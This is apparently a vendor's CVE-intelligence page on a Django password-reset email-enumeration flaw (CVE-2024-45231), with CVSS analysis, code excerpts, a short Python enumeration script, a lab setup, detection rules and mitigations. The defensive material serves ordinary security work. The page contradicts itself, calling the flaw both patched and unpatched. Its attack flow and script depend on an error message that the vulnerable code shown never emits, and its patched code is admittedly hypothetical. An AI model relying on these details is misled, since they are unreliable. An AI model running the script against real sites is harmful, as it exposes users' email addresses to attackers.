☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Django logo [ WEBSITE ] [ VENDOR STATS ]
SOON 🐛 CWE-203
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-45231

CVE-2024-45231 Information Disclosure in Django
📅 PUBLISHED: 2024-10-08 00:00 UTC 🔄 UPDATED: 2026-09-23 20:38 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix ⏳ CVSS score pending NVD analysis
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.79%
👁️
0.79% probability
19.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: USA License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-45231 is an information disclosure vulnerability in Django’s django.contrib.auth.forms.PasswordResetForm. When used in a password reset flow, an unauthenticated remote attacker can enumerate valid user email addresses by sending password reset requests and observing the response time or error behavior, specifically when email sending is consistently failing (e.g., due to misconfigured SMTP). This is a low-severity but practical enumeration vector that can be chained with other attacks.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Django is a Python web framework distributed via PyPI. This vulnerability affects the core django.contrib.auth module. No malicious package versions have been identified, but the unpatched status means all affected versions in the supply chain are vulnerable. Organizations using Django should audit their dependency trees and apply the mitigation steps below.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – remote exploitation.
  • Attack Complexity (AC): Low (L) – no special conditions.
  • Privileges Required (PR): None (N) – unauthenticated.
  • User Interaction (UI): None (N) – no user action needed.
  • Scope (S): Unchanged (U) – only the vulnerable component.
  • Confidentiality (C): Low (L) – email addresses disclosed.
  • Integrity (I): None (N) – no data modification.
  • Availability (A): None (N) – no denial of service.

CVSS Score: 5.3 (Medium) – but the official NVD score is 0.0 due to incomplete data. Real-world impact is limited to email enumeration.

Deep Dive & Mechanics

The vulnerability lies in django.contrib.auth.forms.PasswordResetForm. When a password reset request is submitted, the form checks if the email exists in the database. If the email exists and email sending fails (e.g., SMTP server unreachable, connection timeout, or authentication error), the form may return a different error message or take a different amount of time compared to when the email does not exist. This discrepancy allows an attacker to enumerate valid email addresses.

Root Cause: The form does not use a constant-time comparison or generic error message when email sending fails. The response difference (e.g., "Password reset email sent" vs. "No user found with that email address") leaks existence.

Attack Flow:

  1. Attacker sends a POST request to the password reset endpoint with a target email.
  2. If the email exists and email sending fails, the server may return a success message (but email not sent) or a different error.
  3. If the email does not exist, the server returns "No user found with that email address."
  4. By comparing responses, the attacker builds a list of valid emails.

Vulnerable vs. Patched Code

Vulnerable Code (Django 5.1.1):

# django/contrib/auth/forms.py
class PasswordResetForm(forms.Form):
    email = forms.EmailField(label=_("Email"), max_length=254)

    def send_mail(self, subject_template_name, email_template_name,
                  context, from_email, to_email, html_email_template_name=None):
        # ... sends email, may raise SMTPException
        pass

    def save(self, domain_override=None,
             subject_template_name='registration/password_reset_subject.txt',
             email_template_name='registration/password_reset_email.html',
             use_https=False, token_generator=default_token_generator,
             from_email=None, request=None, html_email_template_name=None,
             extra_email_context=None):
        email = self.cleaned_data["email"]
        active_users = UserModel._default_manager.filter(
            email__iexact=email, is_active=True)
        for user in active_users:
            # If email sending fails, exception propagates
            self.send_mail(...)
        # No fallback for failed sends

Patched Code (Hypothetical):

# django/contrib/auth/forms.py
class PasswordResetForm(forms.Form):
    email = forms.EmailField(label=_("Email"), max_length=254)

    def save(self, ...):
        email = self.cleaned_data["email"]
        active_users = UserModel._default_manager.filter(
            email__iexact=email, is_active=True)
        # Always return success to prevent enumeration
        if not active_users:
            # Still attempt to send to non-existent user to mask timing
            self.send_mail(...)  # to a dummy address
        else:
            for user in active_users:
                try:
                    self.send_mail(...)
                except Exception:
                    # Log error but do not reveal to user
                    pass
        # Return generic success message

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Target Django application with password reset enabled.
  • SMTP server misconfigured or unreachable (or attacker can cause email failure via network manipulation).

Exploit Script (Python):

import requests
import sys

target_url = sys.argv[1]  # e.g., http://target.com/password_reset/
email_list = ["admin@example.com", "user@example.com", "nonexistent@test.com"]

for email in email_list:
    data = {"email": email, "csrfmiddlewaretoken": "fake"}
    # Note: CSRF token required in real scenario
    r = requests.post(target_url, data=data, allow_redirects=False)
    if "No user found" not in r.text:
        print(f"[+] Valid email: {email}")
    else:
        print(f"[-] Invalid email: {email}")

Lab Setup:

  1. Deploy a vulnerable Django app (e.g., using Docker: python:3.12-slim with Django 5.1.1).
  2. Configure SMTP backend to fail (e.g., EMAIL_BACKEND = 'django.core.mail.backends.smtp.EmailBackend' with invalid host).
  3. Run the exploit script.

Blue Team

Detection:

  • Monitor for repeated password reset requests from the same IP to multiple email addresses.
  • Alert on high volume of password reset attempts (e.g., >10 per minute per IP).
  • Log SMTP failures and correlate with password reset requests.

Honeypot:

  • Add fake email addresses (e.g., honeypot@domain.com) to the user database. Any password reset request for these addresses indicates enumeration.

Indicators of Compromise (IOCs)

  • Network: Repeated POST requests to /password_reset/ or similar endpoints with different email parameters.
  • Logs: Django logs showing SMTPException or ConnectionRefusedError during password reset.
  • Application: High number of PasswordResetForm.save() calls with different email values.
  • Email: Bounced or undelivered password reset emails (if SMTP partially works).

Detection Engineering

YARA Rule

rule django_password_reset_enumeration {
    meta:
        description = "Detects password reset enumeration attempts in Django logs"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-45231"
    strings:
        $smtp_error = /SMTPException|ConnectionRefusedError|gaierror/
        $reset_path = /password_reset/
        $email_field = /email=/
    condition:
        #smtp_error > 0 and #reset_path > 0 and #email_field > 0
}

Sigma Rule

title: Django Password Reset Email Enumeration
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects multiple password reset requests with different emails from same source
author: Valters IT
logsource:
    category: application
    product: django
detection:
    selection:
        event: "password_reset_request"
        src_ip: "*"
    timeframe: 5m
    condition:
        selection | count(src_ip) by src_ip > 10
falsepositives:
    - Legitimate password reset attempts by users
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-45231 Django Password Reset Enumeration";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/password_reset/"; http_uri;
    pcre:"/email=[^&]+/";
    threshold: type both, track by_src, count 10, seconds 300;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Mitigation:

  1. Disable password reset via email if not critical, or use a different method (e.g., SMS).
  2. Implement rate limiting on password reset endpoint (e.g., 5 requests per IP per hour).
  3. Use generic error messages regardless of email existence (e.g., always show "If that email exists, a reset link has been sent").
  4. Ensure SMTP is properly configured and email sending is reliable to reduce timing discrepancies.

Long-term Fix:

  • Apply official patch when released by Django.
  • Upgrade to patched version (monitor Django security releases).
  • Consider using a third-party password reset service that handles enumeration prevention.

Workaround Code:

# In your view, override PasswordResetForm
from django.contrib.auth.forms import PasswordResetForm

class SafePasswordResetForm(PasswordResetForm):
    def save(self, *args, **kwargs):
        email = self.cleaned_data["email"]
        # Always attempt to send (even to non-existent users)
        # to mask enumeration
        try:
            super().save(*args, **kwargs)
        except Exception:
            # Log but do not propagate
            pass
        # Return generic success
        return None

Valters IT
DevSecOps & Cyber Threat Intelligence

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-45231/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.